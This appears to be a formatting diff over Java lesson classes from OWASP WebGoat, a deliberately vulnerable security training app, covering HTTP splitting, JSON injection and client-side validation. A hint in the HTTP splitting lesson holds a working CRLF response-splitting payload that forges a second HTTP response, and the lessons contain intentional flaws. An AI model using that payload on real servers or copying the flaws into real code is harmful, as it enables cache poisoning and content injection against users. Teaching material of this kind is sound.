lang = URLDecoder.decode(s.getParser().getRawParameter(LANGUAGE, ""), lang = URLDecoder.decode(s.getParser().getRawParameter(LANGUAGE, ""), "UTF-8");
"UTF-8");
// add the search by field // add the search by field
Input input = new Input(Input.TEXT, LANGUAGE, lang.toString()); Input input = new Input(Input.TEXT, LANGUAGE, lang.toString());
@ -187,43 +171,35 @@ public class HttpSplitting extends SequentialLessonAdapter
return ec; return ec;
} }
protected Element doCachePoisining(WebSession s) throws Exception protected Element doCachePoisining(WebSession s) throws Exception
{ {
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
try try
{ {
s s.setMessage("Now that you have successfully performed an HTTP Splitting, now try to poison"
.setMessage("Now that you have successfully performed an HTTP Splitting, now try to poison"
+ " the victim's cache. Type 'restart' in the input field if you wish to " + " the victim's cache. Type 'restart' in the input field if you wish to "
+ " to return to the HTTP Splitting lesson.<br><br>"); + " to return to the HTTP Splitting lesson.<br><br>");
if (s.getParser().getRawParameter(LANGUAGE, "YOUR_NAME").equals( if (s.getParser().getRawParameter(LANGUAGE, "YOUR_NAME").equals("restart"))
"restart"))
{ {
getLessonTracker(s).getLessonProperties().setProperty(STAGE, getLessonTracker(s).getLessonProperties().setProperty(STAGE, "1");
"1");
return (doHTTPSplitting(s)); return (doHTTPSplitting(s));
} }
ec.addElement(createAttackEnvironment(s)); ec.addElement(createAttackEnvironment(s));
String lang = URLDecoder.decode(s.getParser().getRawParameter( String lang = URLDecoder.decode(s.getParser().getRawParameter(LANGUAGE, ""), "UTF-8");
LANGUAGE, ""), "UTF-8"); String fromRedirect = s.getParser().getStringParameter(REDIRECT, "");
String fromRedirect = s.getParser()
.getStringParameter(REDIRECT, "");
if (lang.length() != 0 && fromRedirect.length() != 0) if (lang.length() != 0 && fromRedirect.length() != 0)
{ {
String lineSep = System.getProperty("line.separator"); String lineSep = System.getProperty("line.separator");
String dateStr = lang.substring(lang.indexOf("Last-Modified:") String dateStr = lang.substring(lang.indexOf("Last-Modified:") + "Last-Modified:".length(), lang
+ "Last-Modified:".length(), lang.indexOf(lineSep, lang .indexOf(lineSep, lang.indexOf("Last-Modified:")));
.indexOf("Last-Modified:")));
if (dateStr.length() != 0) if (dateStr.length() != 0)
{ {
Calendar cal = Calendar.getInstance(); Calendar cal = Calendar.getInstance();
DateFormat sdf = new SimpleDateFormat( DateFormat sdf = new SimpleDateFormat("EEE, dd MMM yyyy HH:mm:ss z", Locale.US);
"EEE, dd MMM yyyy HH:mm:ss z", Locale.US);
if (sdf.parse(dateStr.trim()).after(cal.getTime())) if (sdf.parse(dateStr.trim()).after(cal.getTime()))
{ {
@ -231,29 +207,25 @@ public class HttpSplitting extends SequentialLessonAdapter
} }
} }
} }
} } catch (Exception ex)
catch (Exception ex)
{ {
ec.addElement(new P().addElement(ex.getMessage())); ec.addElement(new P().addElement(ex.getMessage()));
} }
return ec; return ec;
} }
protected Category getDefaultCategory() protected Category getDefaultCategory()
{ {
return Category.GENERAL; return Category.GENERAL;
} }
protected List<String> getHints(WebSession s) protected List<String> getHints(WebSession s)
{ {
List<String> hints = new ArrayList<String>(); List<String> hints = new ArrayList<String>();
hints.add("Enter a language for the system to search by."); hints.add("Enter a language for the system to search by.");
hints.add("Use CR (%0d) and LF (%0a) for a new line"); hints.add("Use CR (%0d) and LF (%0a) for a new line");
hints hints.add("The Content-Length: 0 will tell the server that the first request is over.");
.add("The Content-Length: 0 will tell the server that the first request is over.");
hints.add("A 200 OK message looks like this: HTTP/1.1 200 OK"); hints.add("A 200 OK message looks like this: HTTP/1.1 200 OK");
hints hints
.add("Try: language=?foobar%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2047%0d%0a%0d%0a&lt;html&gt;Insert undesireable content here&lt;/html&gt;"); .add("Try: language=?foobar%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2047%0d%0a%0d%0a&lt;html&gt;Insert undesireable content here&lt;/html&gt;");
@ -271,13 +243,11 @@ public class HttpSplitting extends SequentialLessonAdapter
private final static Integer DEFAULT_RANKING = new Integer(20); private final static Integer DEFAULT_RANKING = new Integer(20);
protected Integer getDefaultRanking() protected Integer getDefaultRanking()
{ {
return DEFAULT_RANKING; return DEFAULT_RANKING;
} }
/** /**
* Gets the title attribute of the HelloScreen object * Gets the title attribute of the HelloScreen object
* *
@ -288,7 +258,6 @@ public class HttpSplitting extends SequentialLessonAdapter
return ("HTTP Splitting"); return ("HTTP Splitting");
} }
public Element getCredits() public Element getCredits()
{ {
return super.getCustomCredits("Created by Sherif Koussa ", MAC_LOGO); return super.getCustomCredits("Created by Sherif Koussa ", MAC_LOGO);

83
main/project/JavaSource/org/owasp/webgoat/lessons/JSONInjection.java
View File

@ -1,7 +1,7 @@
package org.owasp.webgoat.lessons; package org.owasp.webgoat.lessons;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
import org.apache.ecs.Element; import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer; import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement; import org.apache.ecs.StringElement;
@ -13,37 +13,35 @@ import org.apache.ecs.html.TR;
import org.apache.ecs.html.TD; import org.apache.ecs.html.TD;
import org.apache.ecs.html.Input; import org.apache.ecs.html.Input;
import org.apache.ecs.html.BR; import org.apache.ecs.html.BR;
import java.io.PrintWriter; import java.io.PrintWriter;
import java.util.List; import java.util.List;
import java.util.ArrayList; import java.util.ArrayList;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
* *
@ -60,8 +58,8 @@ public class JSONInjection extends LessonAdapter
private final static String TRAVEL_TO = "travelTo"; private final static String TRAVEL_TO = "travelTo";
private final static IMG MAC_LOGO = new IMG("images/logos/macadamian.gif").setAlt( private final static IMG MAC_LOGO = new IMG("images/logos/macadamian.gif").setAlt("Macadamian Technologies")
"Macadamian Technologies").setBorder(0).setHspace(0).setVspace(0); .setBorder(0).setHspace(0).setVspace(0);
public void handleRequest(WebSession s) public void handleRequest(WebSession s)
{ {
@ -71,35 +69,25 @@ public class JSONInjection extends LessonAdapter
if (s.getParser().getRawParameter("from", "").equals("ajax")) if (s.getParser().getRawParameter("from", "").equals("ajax"))
{ {
String lineSep = System.getProperty("line.separator"); String lineSep = System.getProperty("line.separator");
String jsonStr = "{" String jsonStr = "{" + lineSep + "\"From\": \"Boston\"," + lineSep + "\"To\": \"Seattle\", " + lineSep
+ lineSep + "\"flights\": [" + lineSep
+ "\"From\": \"Boston\"," + "{\"stops\": \"0\", \"transit\" : \"N/A\", \"price\": \"$600\"}," + lineSep
+ lineSep + "{\"stops\": \"2\", \"transit\" : \"Newark,Chicago\", \"price\": \"$300\"} " + lineSep + "]"
+ "\"To\": \"Seattle\", " + lineSep + "}";
+ lineSep
+ "\"flights\": ["
+ lineSep
+ "{\"stops\": \"0\", \"transit\" : \"N/A\", \"price\": \"$600\"},"
+ lineSep
+ "{\"stops\": \"2\", \"transit\" : \"Newark,Chicago\", \"price\": \"$300\"} "
+ lineSep + "]" + lineSep + "}";
s.getResponse().setContentType("text/html"); s.getResponse().setContentType("text/html");
s.getResponse().setHeader("Cache-Control", "no-cache"); s.getResponse().setHeader("Cache-Control", "no-cache");
PrintWriter out = new PrintWriter(s.getResponse() PrintWriter out = new PrintWriter(s.getResponse().getOutputStream());
.getOutputStream());
out.print(jsonStr); out.print(jsonStr);
out.flush(); out.flush();
out.close(); out.close();
return; return;
} }
} } catch (Exception ex)
catch (Exception ex)
{ {
ex.printStackTrace(); ex.printStackTrace();
} }
Form form = new Form(getFormAction(), Form.POST).setName("form") Form form = new Form(getFormAction(), Form.POST).setName("form").setEncType("");
.setEncType("");
form.setOnSubmit("return check();"); form.setOnSubmit("return check();");
form.addElement(createContent(s)); form.addElement(createContent(s));
@ -108,11 +96,11 @@ public class JSONInjection extends LessonAdapter
} }
/** /**
* Description of the Method * Description of the Method
* *
* @param s Current WebSession * @param s
* Current WebSession
*/ */
protected Element createContent(WebSession s) protected Element createContent(WebSession s)
@ -135,7 +123,8 @@ public class JSONInjection extends LessonAdapter
+ lineSep + lineSep
+ "if (toField.value.length < 3 || toField.value!='SEA') { return; }" + "if (toField.value.length < 3 || toField.value!='SEA') { return; }"
+ lineSep + lineSep
+ "var url = '" + getLink() + "var url = '"
+ getLink()
+ "&from=ajax&" + "&from=ajax&"
+ TRAVEL_FROM + TRAVEL_FROM
+ "=' + encodeURIComponent(fromField.value) +" + "=' + encodeURIComponent(fromField.value) +"
@ -210,12 +199,10 @@ public class JSONInjection extends LessonAdapter
+ " else if ( document.getElementById('radio1').checked )" + " else if ( document.getElementById('radio1').checked )"
+ lineSep + lineSep
+ " { document.getElementById('price2Submit').value = document.getElementById('priceID1').innerHTML; return true;}" + " { document.getElementById('price2Submit').value = document.getElementById('priceID1').innerHTML; return true;}"
+ lineSep + " else " + lineSep + lineSep + " else " + lineSep + " { alert('Please choose one flight'); return false;}" + lineSep + "}"
+ " { alert('Please choose one flight'); return false;}" + lineSep + "}"
+ lineSep + "</script>" + lineSep; + lineSep + "</script>" + lineSep;
ec.addElement(new StringElement(script)); ec.addElement(new StringElement(script));
Table t1 = new Table().setCellSpacing(0).setCellPadding(0).setBorder(0) Table t1 = new Table().setCellSpacing(0).setCellPadding(0).setBorder(0).setWidth("90%").setAlign("center");
.setWidth("90%").setAlign("center");
TR tr = new TR(); TR tr = new TR();
@ -266,8 +253,7 @@ public class JSONInjection extends LessonAdapter
} }
else else
{ {
s s.setMessage("You are close, try to set the price for the non-stop flight to be less than $600");
.setMessage("You are close, try to set the price for the non-stop flight to be less than $600");
} }
} }
return ec; return ec;
@ -283,7 +269,6 @@ public class JSONInjection extends LessonAdapter
return Category.AJAX_SECURITY; return Category.AJAX_SECURITY;
} }
protected List<String> getHints(WebSession s) protected List<String> getHints(WebSession s)
{ {
List<String> hints = new ArrayList<String>(); List<String> hints = new ArrayList<String>();
@ -295,13 +280,11 @@ public class JSONInjection extends LessonAdapter
} }
protected Integer getDefaultRanking() protected Integer getDefaultRanking()
{ {
return DEFAULT_RANKING; return DEFAULT_RANKING;
} }
/** /**
* Gets the title attribute of the HelloScreen object * Gets the title attribute of the HelloScreen object
* *

158
main/project/JavaSource/org/owasp/webgoat/lessons/JavaScriptValidation.java
View File

@ -1,9 +1,9 @@
package org.owasp.webgoat.lessons; package org.owasp.webgoat.lessons;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.List; import java.util.List;
import java.util.regex.Pattern; import java.util.regex.Pattern;
import org.apache.ecs.Element; import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer; import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement; import org.apache.ecs.StringElement;
@ -13,35 +13,33 @@ import org.apache.ecs.html.IMG;
import org.apache.ecs.html.Input; import org.apache.ecs.html.Input;
import org.apache.ecs.html.P; import org.apache.ecs.html.P;
import org.apache.ecs.html.TextArea; import org.apache.ecs.html.TextArea;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
* *
@ -51,12 +49,16 @@ import org.owasp.webgoat.session.WebSession;
public class JavaScriptValidation extends LessonAdapter public class JavaScriptValidation extends LessonAdapter
{ {
public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com").addElement(new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0).setVspace(0)); public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com")
.addElement(
new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0)
.setVspace(0));
/** /**
* Description of the Method * Description of the Method
* *
* @param s Description of the Parameter * @param s
* Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
protected Element createContent(WebSession s) protected Element createContent(WebSession s)
@ -68,12 +70,14 @@ public class JavaScriptValidation extends LessonAdapter
// Note: if you want to use the regex=new RegExp(\"" + regex + "\");" syntax // Note: if you want to use the regex=new RegExp(\"" + regex + "\");" syntax
// you'll have to use \\\\d to indicate a digit for example -- one escaping for Java and one for JavaScript // you'll have to use \\\\d to indicate a digit for example -- one escaping for Java and one
// for JavaScript
String regex1 = "^[a-z]{3}$";// any three lowercase letters String regex1 = "^[a-z]{3}$";// any three lowercase letters
String regex2 = "^[0-9]{3}$";// any three digits String regex2 = "^[0-9]{3}$";// any three digits
String regex3 = "^[a-zA-Z0-9 ]*$";// alphanumerics and space without punctuation String regex3 = "^[a-zA-Z0-9 ]*$";// alphanumerics and space without punctuation
String regex4 = "^(one|two|three|four|five|six|seven|eight|nine)$";// enumeration of numbers String regex4 = "^(one|two|three|four|five|six|seven|eight|nine)$";// enumeration of
// numbers
String regex5 = "^\\d{5}$";// simple zip code String regex5 = "^\\d{5}$";// simple zip code
String regex6 = "^\\d{5}(-\\d{4})?$";// zip with optional dash-four String regex6 = "^\\d{5}(-\\d{4})?$";// zip with optional dash-four
String regex7 = "^[2-9]\\d{2}-?\\d{3}-?\\d{4}$";// US phone number with or without dashes String regex7 = "^[2-9]\\d{2}-?\\d{3}-?\\d{4}$";// US phone number with or without dashes
@ -85,68 +89,28 @@ public class JavaScriptValidation extends LessonAdapter
Pattern pattern6 = Pattern.compile(regex6); Pattern pattern6 = Pattern.compile(regex6);
Pattern pattern7 = Pattern.compile(regex7); Pattern pattern7 = Pattern.compile(regex7);
String lineSep = System.getProperty("line.separator"); String lineSep = System.getProperty("line.separator");
String script = "<SCRIPT>" String script = "<SCRIPT>" + lineSep + "regex1=/" + regex1 + "/;" + lineSep + "regex2=/" + regex2 + "/;"
+ lineSep + lineSep + "regex3=/" + regex3 + "/;" + lineSep + "regex4=/" + regex4 + "/;" + lineSep + "regex5=/"
+ "regex1=/" + regex5 + "/;" + lineSep + "regex6=/" + regex6 + "/;" + lineSep + "regex7=/" + regex7 + "/;" + lineSep
+ regex1 + "function validate() { " + lineSep + "msg='JavaScript found form errors'; err=0; " + lineSep
+ "/;" + "if (!regex1.test(document.form.field1.value)) {err+=1; msg+='\\n bad field1';}" + lineSep
+ lineSep + "if (!regex2.test(document.form.field2.value)) {err+=1; msg+='\\n bad field2';}" + lineSep
+ "regex2=/" + "if (!regex3.test(document.form.field3.value)) {err+=1; msg+='\\n bad field3';}" + lineSep
+ regex2 + "if (!regex4.test(document.form.field4.value)) {err+=1; msg+='\\n bad field4';}" + lineSep
+ "/;" + "if (!regex5.test(document.form.field5.value)) {err+=1; msg+='\\n bad field5';}" + lineSep
+ lineSep + "if (!regex6.test(document.form.field6.value)) {err+=1; msg+='\\n bad field6';}" + lineSep
+ "regex3=/" + "if (!regex7.test(document.form.field7.value)) {err+=1; msg+='\\n bad field7';}" + lineSep
+ regex3 + "if ( err > 0 ) alert(msg);" + lineSep + "else document.form.submit();" + lineSep + "} " + lineSep
+ "/;"
+ lineSep
+ "regex4=/"
+ regex4
+ "/;"
+ lineSep
+ "regex5=/"
+ regex5
+ "/;"
+ lineSep
+ "regex6=/"
+ regex6
+ "/;"
+ lineSep
+ "regex7=/"
+ regex7
+ "/;"
+ lineSep
+ "function validate() { "
+ lineSep
+ "msg='JavaScript found form errors'; err=0; "
+ lineSep
+ "if (!regex1.test(document.form.field1.value)) {err+=1; msg+='\\n bad field1';}"
+ lineSep
+ "if (!regex2.test(document.form.field2.value)) {err+=1; msg+='\\n bad field2';}"
+ lineSep
+ "if (!regex3.test(document.form.field3.value)) {err+=1; msg+='\\n bad field3';}"
+ lineSep
+ "if (!regex4.test(document.form.field4.value)) {err+=1; msg+='\\n bad field4';}"
+ lineSep
+ "if (!regex5.test(document.form.field5.value)) {err+=1; msg+='\\n bad field5';}"
+ lineSep
+ "if (!regex6.test(document.form.field6.value)) {err+=1; msg+='\\n bad field6';}"
+ lineSep
+ "if (!regex7.test(document.form.field7.value)) {err+=1; msg+='\\n bad field7';}"
+ lineSep + "if ( err > 0 ) alert(msg);" + lineSep
+ "else document.form.submit();" + lineSep + "} " + lineSep
+ "</SCRIPT>" + lineSep; + "</SCRIPT>" + lineSep;
try try
{ {
String param1 = s.getParser().getRawParameter("field1", "abc"); String param1 = s.getParser().getRawParameter("field1", "abc");
String param2 = s.getParser().getRawParameter("field2", "123"); String param2 = s.getParser().getRawParameter("field2", "123");
String param3 = s.getParser().getRawParameter("field3", String param3 = s.getParser().getRawParameter("field3", "abc 123 ABC");
"abc 123 ABC");
String param4 = s.getParser().getRawParameter("field4", "seven"); String param4 = s.getParser().getRawParameter("field4", "seven");
String param5 = s.getParser().getRawParameter("field5", "90210"); String param5 = s.getParser().getRawParameter("field5", "90210");
String param6 = s.getParser().getRawParameter("field6", String param6 = s.getParser().getRawParameter("field6", "90210-1111");
"90210-1111"); String param7 = s.getParser().getRawParameter("field7", "301-604-4882");
String param7 = s.getParser().getRawParameter("field7",
"301-604-4882");
ec.addElement(new StringElement(script)); ec.addElement(new StringElement(script));
TextArea input1 = new TextArea("field1", 1, 25).addElement(param1); TextArea input1 = new TextArea("field1", 1, 25).addElement(param1);
TextArea input2 = new TextArea("field2", 1, 25).addElement(param2); TextArea input2 = new TextArea("field2", 1, 25).addElement(param2);
@ -160,36 +124,29 @@ public class JavaScriptValidation extends LessonAdapter
b.setType(Input.BUTTON); b.setType(Input.BUTTON);
b.setValue("Submit"); b.setValue("Submit");
b.addAttribute("onclick", "validate();"); b.addAttribute("onclick", "validate();");
ec.addElement(new Div().addElement(new StringElement( ec.addElement(new Div().addElement(new StringElement("Field1: exactly three lowercase characters ("
"Field1: exactly three lowercase characters (" + regex1 + regex1 + ")")));
+ ")")));
ec.addElement(new Div().addElement(input1)); ec.addElement(new Div().addElement(input1));
ec.addElement(new P()); ec.addElement(new P());
ec.addElement(new Div().addElement(new StringElement( ec.addElement(new Div().addElement(new StringElement("Field2: exactly three digits (" + regex2 + ")")));
"Field2: exactly three digits (" + regex2 + ")")));
ec.addElement(new Div().addElement(input2)); ec.addElement(new Div().addElement(input2));
ec.addElement(new P()); ec.addElement(new P());
ec.addElement(new Div() ec.addElement(new Div().addElement(new StringElement("Field3: letters, numbers, and space only (" + regex3
.addElement(new StringElement( + ")")));
"Field3: letters, numbers, and space only ("
+ regex3 + ")")));
ec.addElement(new Div().addElement(input3)); ec.addElement(new Div().addElement(input3));
ec.addElement(new P()); ec.addElement(new P());
ec.addElement(new Div().addElement(new StringElement( ec.addElement(new Div().addElement(new StringElement("Field4: enumeration of numbers (" + regex4 + ")")));
"Field4: enumeration of numbers (" + regex4 + ")")));
ec.addElement(new Div().addElement(input4)); ec.addElement(new Div().addElement(input4));
ec.addElement(new P()); ec.addElement(new P());
ec.addElement(new Div().addElement(new StringElement( ec.addElement(new Div().addElement(new StringElement("Field5: simple zip code (" + regex5 + ")")));
"Field5: simple zip code (" + regex5 + ")")));
ec.addElement(new Div().addElement(input5)); ec.addElement(new Div().addElement(input5));
ec.addElement(new P()); ec.addElement(new P());
ec.addElement(new Div().addElement(new StringElement( ec.addElement(new Div()
"Field6: zip with optional dash four (" + regex6 + ")"))); .addElement(new StringElement("Field6: zip with optional dash four (" + regex6 + ")")));
ec.addElement(new Div().addElement(input6)); ec.addElement(new Div().addElement(input6));
ec.addElement(new P()); ec.addElement(new P());
ec.addElement(new Div().addElement(new StringElement( ec.addElement(new Div().addElement(new StringElement("Field7: US phone number with or without dashes ("
"Field7: US phone number with or without dashes (" + regex7 + regex7 + ")")));
+ ")")));
ec.addElement(new Div().addElement(input7)); ec.addElement(new Div().addElement(input7));
ec.addElement(new P()); ec.addElement(new P());
ec.addElement(b); ec.addElement(b);
@ -262,7 +219,6 @@ public class JavaScriptValidation extends LessonAdapter
return (ec); return (ec);
} }
/** /**
* DOCUMENT ME! * DOCUMENT ME!
* *
@ -273,7 +229,6 @@ public class JavaScriptValidation extends LessonAdapter
return Category.UNVALIDATED_PARAMETERS; return Category.UNVALIDATED_PARAMETERS;
} }
/** /**
* Gets the hints attribute of the AccessControlScreen object * Gets the hints attribute of the AccessControlScreen object
* *
@ -284,15 +239,12 @@ public class JavaScriptValidation extends LessonAdapter
List<String> hints = new ArrayList<String>(); List<String> hints = new ArrayList<String>();
hints.add("The validation is happening in your browser."); hints.add("The validation is happening in your browser.");
hints hints.add("Try modifying the values with a proxy after they leave your browser");
.add("Try modifying the values with a proxy after they leave your browser"); hints.add("Another way is to delete the JavaScript before you view the page.");
hints
.add("Another way is to delete the JavaScript before you view the page.");
return hints; return hints;
} }
/** /**
* Gets the instructions attribute of the WeakAccessControl object * Gets the instructions attribute of the WeakAccessControl object
* *
@ -309,13 +261,11 @@ public class JavaScriptValidation extends LessonAdapter
private final static Integer DEFAULT_RANKING = new Integer(120); private final static Integer DEFAULT_RANKING = new Integer(120);
protected Integer getDefaultRanking() protected Integer getDefaultRanking()
{ {
return DEFAULT_RANKING; return DEFAULT_RANKING;
} }
/** /**
* Gets the title attribute of the AccessControlScreen object * Gets the title attribute of the AccessControlScreen object
* *

84
main/project/JavaSource/org/owasp/webgoat/lessons/LessonAdapter.java
View File

@ -1,10 +1,10 @@
package org.owasp.webgoat.lessons; package org.owasp.webgoat.lessons;
import java.io.BufferedReader; import java.io.BufferedReader;
import java.io.FileReader; import java.io.FileReader;
import java.util.ArrayList; import java.util.ArrayList;
import java.util.List; import java.util.List;
import org.apache.ecs.Element; import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer; import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement; import org.apache.ecs.StringElement;
@ -18,32 +18,31 @@ import org.apache.ecs.html.TR;
import org.apache.ecs.html.Table; import org.apache.ecs.html.Table;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
* *
@ -53,11 +52,11 @@ import org.owasp.webgoat.session.WebSession;
public abstract class LessonAdapter extends AbstractLesson public abstract class LessonAdapter extends AbstractLesson
{ {
/** /**
* Description of the Method * Description of the Method
* *
* @param s Description of the Parameter * @param s
* Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
protected Element createContent(WebSession s) protected Element createContent(WebSession s)
@ -67,9 +66,7 @@ public abstract class LessonAdapter extends AbstractLesson
ElementContainer ec = new ElementContainer(); ElementContainer ec = new ElementContainer();
ec ec.addElement(new Center().addElement(new H3().addElement(new StringElement(
.addElement(new Center().addElement(new H3()
.addElement(new StringElement(
"Detailed Lesson Creation Instructions.")))); "Detailed Lesson Creation Instructions."))));
ec.addElement(new P()); ec.addElement(new P());
ec ec
@ -80,8 +77,7 @@ public abstract class LessonAdapter extends AbstractLesson
+ "If you would prefer, send your lesson ideas to " + "If you would prefer, send your lesson ideas to "
+ getWebgoatContext().getFeedbackAddress())); + getWebgoatContext().getFeedbackAddress()));
String fileName = s.getContext().getRealPath( String fileName = s.getContext().getRealPath("doc/New Lesson Instructions.txt");
"doc/New Lesson Instructions.txt");
if (fileName != null) if (fileName != null)
{ {
try try
@ -94,8 +90,7 @@ public abstract class LessonAdapter extends AbstractLesson
pre.addElement(line + "\n"); pre.addElement(line + "\n");
} }
ec.addElement(pre); ec.addElement(pre);
} } catch (Exception e)
catch (Exception e)
{ {
e.printStackTrace(); e.printStackTrace();
} }
@ -103,11 +98,10 @@ public abstract class LessonAdapter extends AbstractLesson
return (ec); return (ec);
} }
/** /**
* Gets the category attribute of the LessonAdapter object. The default category is "General" Only * Gets the category attribute of the LessonAdapter object. The default category is "General"
* override this method if you wish to create a new category or if you wish this lesson to reside * Only override this method if you wish to create a new category or if you wish this lesson to
* within a category other the "General" * reside within a category other the "General"
* *
* @return The category value * @return The category value
*/ */
@ -116,7 +110,6 @@ public abstract class LessonAdapter extends AbstractLesson
return Category.GENERAL; return Category.GENERAL;
} }
protected boolean getDefaultHidden() protected boolean getDefaultHidden()
{ {
return false; return false;
@ -124,13 +117,11 @@ public abstract class LessonAdapter extends AbstractLesson
private final static Integer DEFAULT_RANKING = new Integer(1000); private final static Integer DEFAULT_RANKING = new Integer(1000);
protected Integer getDefaultRanking() protected Integer getDefaultRanking()
{ {
return DEFAULT_RANKING; return DEFAULT_RANKING;
} }
/** /**
* Gets the hintCount attribute of the LessonAdapter object * Gets the hintCount attribute of the LessonAdapter object
* *
@ -141,7 +132,6 @@ public abstract class LessonAdapter extends AbstractLesson
return getHints(s).size(); return getHints(s).size();
} }
/** /**
* Fill in a minor hint that will help people who basically get it, but are stuck on somthing * Fill in a minor hint that will help people who basically get it, but are stuck on somthing
* silly. Hints will be returned to the user in the order they appear below. The user must click * silly. Hints will be returned to the user in the order they appear below. The user must click
@ -157,13 +147,11 @@ public abstract class LessonAdapter extends AbstractLesson
return hints; return hints;
} }
public String getHint(WebSession s, int hintNumber) public String getHint(WebSession s, int hintNumber)
{ {
return (String) getHints(s).get(hintNumber); return (String) getHints(s).get(hintNumber);
} }
/** /**
* Gets the credits attribute of the AbstractLesson object * Gets the credits attribute of the AbstractLesson object
* *
@ -174,11 +162,10 @@ public abstract class LessonAdapter extends AbstractLesson
return new StringElement(); return new StringElement();
} }
/** /**
